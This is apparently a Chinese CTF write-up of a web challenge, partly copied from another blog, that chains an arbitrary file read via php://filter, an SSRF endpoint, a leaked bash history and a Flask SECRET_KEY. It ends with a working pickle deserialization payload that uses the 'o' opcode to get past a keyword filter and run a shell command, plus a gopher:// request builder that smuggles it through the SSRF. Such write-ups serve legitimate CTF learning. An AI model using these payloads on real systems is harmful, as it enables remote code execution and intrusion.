前言
一天一道ctf系列断了三天了,星期五星期六星期天放假,草,现在欠了5道题了,今天高低做两道,因为两道题还是得浪费时间,所以果断赛博复现,看懂=会,下面内容大多来自https://blog.csdn.net/weixin_63231007
代码审计
<?php
error_reporting(0);
header("HINT:POST n = range(1,10)");
$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "your image is".base64_encode($image)."</br>";
echo "<img src='data:image/png;base64,$data'/>";
}else{
$data = base64_encode(file_get_contents("tupian.png"));
echo "no image get,default img is dHVwaWFuLHBuZw==";
echo "<img src='data:image/png;base64,$data'/>";
}
}
看样子应该是不太难,可以任意读取文件
首先我们需要满足的条件是$_POST['n'] == $allow[0], $allow = range(1, 10);随机数,这个爆破吧,因为也才1-10而已,然后根据别人说法
$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同
根据提示(图片里面有隐藏信息)
分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php
搭配filter伪协议,读取文件内容得到文件代码:
代码
<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
ssrf跑不掉了,直接读文件吧,按照原主的办法,因为题目应该有提示
通过文件读取分析 bash记录
同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务
bash记录什么玩意,开搜'/home/username/.bash_history',其中 username 是你的用户名。大概这样读,/home/secret/.bashhistory读到了文件
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"
User = type('User', (object,), {
'uname': 'xxx',
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET','POST'))
def index_handler():
u = pickle.dumps(User())
session['u'] = u
return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"
@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():
try:
u = session.get('a')
if isinstance(u, dict):
code = b64decode(u.get('b'))
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
print(code)
return "what do you want???"
result=pickle.loads(code)
return result
else:
return "almost there"
except:
return "error"
if __name__ == '__main__':
app.run('127.0.0.1', port=5555, debug=False)
都说了是pickle反序列化,以后来学吧,直接放wp
pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据
存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
o操作码绕过
import base64
import pickle
payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''
tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)
因为题目源码告诉了
if __name__ == '__main__':
app.run('127.0.0.1', port=5555, debug=False)
需要利用ssrf传给内网